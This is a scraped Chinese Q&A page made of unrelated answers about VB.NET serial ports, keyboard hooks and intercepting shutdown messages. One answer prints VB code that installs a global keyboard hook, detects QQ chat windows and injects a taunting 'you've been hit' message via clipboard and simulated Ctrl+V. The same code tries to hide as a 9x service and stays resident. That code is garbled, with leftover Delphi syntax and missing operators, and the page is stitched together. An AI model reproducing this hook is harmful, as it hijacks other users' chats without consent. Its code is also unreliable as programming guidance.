VB.NET中如何處理串口通信接收的數(shù)據(jù)？

你可以預(yù)先約定一個(gè)截止附，讀取的字節(jié)統(tǒng)統(tǒng)放到緩存區(qū)里，直到讀到截止附再處理、顯示。

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VB.NET鍵盤Hook成功后攔截不了組合鍵

最簡(jiǎn)單的就是把屬性改一下,效果跟無框的差不多。

Me.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle

Me.ControlBox = False

Me.MaximizeBox = False

Me.Text = ""

至于hook的問題,它確實(shí)是比系統(tǒng)慢了一步得到消息,當(dāng)前線程或全局的都一樣,不過你可以先攔截Windows鍵或者Up鍵其中一鍵來阻攔組合鍵。

VB攔截message消息

在Windows使用SetWindowsHookEx來實(shí)現(xiàn)hook（鉤子）。鉤子分類很多，其中消息鉤子可以獲取對(duì)象所接受大部分Message消息。不管是消息鉤子或鍵盤鉤子或其他鉤子，安裝鉤子的SetWindowsHookEx函數(shù)需要一個(gè)回調(diào)函數(shù)指針。Windows收到某個(gè)消息以后確認(rèn)并且發(fā)送應(yīng)用程序前通知我們的回調(diào)函數(shù)。

鉤子有兩種

1）全局鉤子，也就是說我們的程序可以攔截所有外部程序收的的消息。

2）非全局鉤子，攔截當(dāng)前進(jìn)程所收到的消息。

為了實(shí)現(xiàn)全局鉤子，回調(diào)函數(shù)必須在DLL中。好像用VB不能編寫真正的動(dòng)態(tài)鏈接庫(kù)。

以下是簡(jiǎn)單代碼：'Option Explicit

'uses

' Windows, Messages, SysUtils, TlHelp32;

'Delphi 中一些頭引用，相當(dāng)于C++的 *.h

'鍵盤HOOK類型

Private Type tagKBDLLHOOKSTRUCT

vkCode As Long

scanCode As Long

flags As Long

time As Long

dwExtraInfo As Long

End Type'定義API函數(shù)指針,VB不支持該定義

'RegSerProc=Function(dwProcessID,dwType:Integer):Integer;stdcall;Const WH_KEYBOARD_LL = 13

Const WH_MOUSE_LL = 14

'鉤子消息及指針

Private lpMsg As TagMsg

Private lpHook As Long

'動(dòng)態(tài)調(diào)用DLL函數(shù)指針

Private hDll As Long

'VB不支持該定義

'RegPointer:POINTER;

'RegServiceProc:RegSerProc;

'版本

Private OsInfo As OSVERSIONINFO

'QQ窗口的一些句柄

Private buf_hWnd As Long '前臺(tái)窗口句柄

Private CheckBuf_hWnd As Long '判斷是否還是前臺(tái)窗口句柄

Private RichChat_hWnd As Long 'RichEdit20A句柄

Private CheckPaste As Long '判斷是否在進(jìn)行粘貼

'定時(shí)執(zhí)行程序

Sub TimerWork()

MessageBox 0, "一個(gè)消息", "哈哈", 64

End Sub'粘貼代碼

Sub PasteMsg()

Dim hMem As Long

Dim pStr() As Byte

Dim S As String

S = vbCrLf + vbCrLf + "恭喜你，你已經(jīng)中招了！哈哈"

hMem = GlobalAlloc(GHND Or GMEM_SHARE, (LenB(S) * 2) + 4)

pStr = GlobalLock(hMem)

lstrcpy pStr(0), S

GlobalUnLock hMem

OpenClipboard 0

EmptyClipboard

SetClipboardData CF_TEXT, hMem

CloseClipboard

GlobalFree hMem

'發(fā)送WM_PASTE對(duì)QQ2006 and 2007 已經(jīng)不起作用

'PostMessage(lphWnd,WM_PASTE,0,0);

CheckPaste = True

keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), 0, 0

keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), 0, 0

keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), KEYEVENTF_KEYUP, 0

keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0

CheckPaste = False

End Sub

'Enum窗口

Function EnumProc(ByVal hWnd As Long, ByVal lParam As Long) As Boolean

Dim RichName As String, ParentName As String 'RichEdit20A,AfxWnd42類名

Dim RichBuf As String * 255, ParentBuf As String * 255

Dim ParenthWnd As Long

'獲取父窗口，通過AfxWnd42進(jìn)行窗口查找

ParenthWnd = GetParent(hWnd)

GetClassName hWnd, RichBuf, 256

RichName = Left(RichBuf, InStr(RichBuf, vbNullChar) - 1)

If RichChat_hWnd 0 Then

EnumProc = False

Exit Function

End If

If LCase(RichName) = "richedit20a" Then

'獲取父窗口類名

If ParenthWnd 0 Then

GetClassName ParenthWnd, ParentBuf, 256

ParentName = Left(ParentBuf, InStr(ParentBuf, vbNullChar) - 1)

End If

'通過父窗口類名進(jìn)行比較，判斷是否為輸入窗口

If LCase(ParentName) = "afxwnd42" Then

PasteMsg

RichChat_hWnd = hWnd

EnumProc = False

Exit Function

End If

End If

'繼續(xù)查找子窗口

EnumChildWindows hWnd, AddressOf EnumProc, 0

EnumProc = True

End Function'Hook代碼

Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Dim qqBuf As String * 255

Dim frmBuf As String * 255

Dim frmName As String '窗口名稱

Dim clsName As String '獲取類名

Dim p As KBDLLHOOKSTRUCT '鍵盤按鍵指針類型

If nCode = HC_ACTION Then

If (wParam = WM_KEYDOWN) And (Not CheckPaste) Then begin

'p:=PKBDLLHOOKSTRUCT(lParam);

'此處應(yīng)該翻譯為以下：

CopyMemory p, ByVal lParam, Len(p)

'判斷是否Ctrl+V發(fā)送

If (p.vkCode = VK_RETURN) And ((GetKeyState(VK_CONTROL) And H8000) 0) Then

'獲取當(dāng)前前臺(tái)窗口

buf_hWnd = GetForegroundWindow

GetWindowText buf_hWnd, frmBuf, 256

GetClassName buf_hWnd, qqBuf, 256

frmName = Left(frmBuf, InStr(frmBuf, vbNullChar) - 1) '該地方只是一個(gè)處理而已

clsName = Left(qqBuf, InStr(qqBuf, vbNullChar) - 1)

'通過判斷是否還是當(dāng)前窗口，如果不是則執(zhí)行重復(fù)操作

If (CheckBuf_hWnd buf_hWnd) Then CheckBuf_hWnd = buf_hWnd

'查找QQ窗口

If (InStr(clsName, "#32770") 0) And ((InStr(frmName, "聊天中") 0) Or (InStr(frmName, " 群") 0)) Then

'重新初始化QQ編輯控件句柄

If RichChat_hWnd 0 Then RichChat_hWnd = 0

'遍歷子窗口進(jìn)行查找

EnumChildWindowsmbuf_hWnd , AddressOf EnumProc, 0

End If

'如果是原來窗口，那么直接進(jìn)行處理操作

ElseIf (InStr(clsName, "#32770") 0) And ((InStr(frmName, "聊天中") 0) Or (InStr(frmName, " 群") 0)) Then

PasteMsg

End If

End If

End If

HookProc = CallNextHookEx(lpHook, nCode, wParam, lParam)

End FunctionPublic Sub Main()

'注冊(cè)鉤子時(shí)先判斷操作系統(tǒng)版本

OsInfo.dwOSVersionInfoSize = Len(OsInfo)

GetVersionEx OsInfo

If OsInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then

'如果是NT系統(tǒng)那么向系統(tǒng)注冊(cè)鉤子

lpHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf HookProc, hInstance, 0)

如果向系統(tǒng)注冊(cè)鉤子失敗

If lpHook = 0 Then SetTimer 0, 0, 500, AddressOf TimerWork

Else

'向9x注冊(cè)系統(tǒng)服務(wù)

hDll = LoadLibrary("kernel32.dll")

RegPointer = GetProcAddress(hDll, "RegisterServiceProcess")

If RegPointer 0 Then

'VB不支持該指針，所以就不翻譯了

'RegServiceProc:=RegSerProc(RegPointer);

'RegServiceProc(GetCurrentProcessID,1);

Else

'如果沒有向9x注冊(cè)成功服務(wù)器，以Timer進(jìn)行操作

SetTimer 0, 0, 500, AddressOf TimerWork

End If

End If

'消息循環(huán)，永駐內(nèi)存

Do While GetMessage(lpMsg, 0, 0, 0)

TranslateMessage lpMsg

DispatchMessage lpMsg

Loop

End Sub

VB.net串口接收不到數(shù)據(jù)

這問題LZ在Csdn上發(fā)了兩帖，已經(jīng)給了答復(fù)！

不知為何又在此處發(fā)帖？

VB.net串口通信數(shù)據(jù)處理問題，大家?guī)蛶兔?/h2>

上述網(wǎng)址的問題與本題一樣，提問者：jlfly7671，與你是一個(gè)人吧？

用MSCOMM控件實(shí)現(xiàn)

定義數(shù)組a=mscomm1.input

因?yàn)槌绦蛐枰獌蓚€(gè)窗體，mscomm配置連接等代碼寫在frm1中

在frm2中寫入操作返回?cái)?shù)據(jù)的代碼總是報(bào)錯(cuò)，所以我想將a寫在模塊中調(diào)用，不知道能否解決？若可以的話 模塊中a該怎么寫？

剛才試過不能用a=frm1.mscomm1.input 定義

分不多，心意盡到 大家?guī)蛶兔?/p>

另外像這樣的情況frm2中需要拖一個(gè)MSCOMM控件嗎？

vb.net2008攔截關(guān)機(jī)或注銷消息

在SystemEvents類中 可以 用戶試圖注銷或關(guān)閉系統(tǒng)時(shí)發(fā)生。 (當(dāng)用戶試圖注銷或關(guān)閉系統(tǒng)時(shí)發(fā)生。當(dāng)用戶試圖注銷或關(guān)閉系統(tǒng)時(shí)發(fā)生。) 這個(gè) 事件處理函數(shù)中 可以找到如下方法

Private Shared WM_QUERYENDSESSION As Integer = H11

Private Shared systemShutdown As Boolean = False

Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)

If m.Msg = WM_QUERYENDSESSION Then

'MessageBox.Show("queryendsession: this is a logoff, shutdown, or reboot")

systemShutdown = True

End If

' If this is WM_QUERYENDSESSION, the closing event should be raised in the base WndProc.

MyBase.WndProc(m)

End Sub 'WndProc

Private Sub Form1_Closing(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing

If (systemShutdown) Then

' Reset the variable because the user might cancel the shutdown.

systemShutdown = False

If (System.Windows.Forms.DialogResult.Yes = _

MessageBox.Show("My application", "Do you want to save your work before logging off?", MessageBoxButtons.YesNo)) Then

e.Cancel = True

Else

e.Cancel = False

End If

End If

End Sub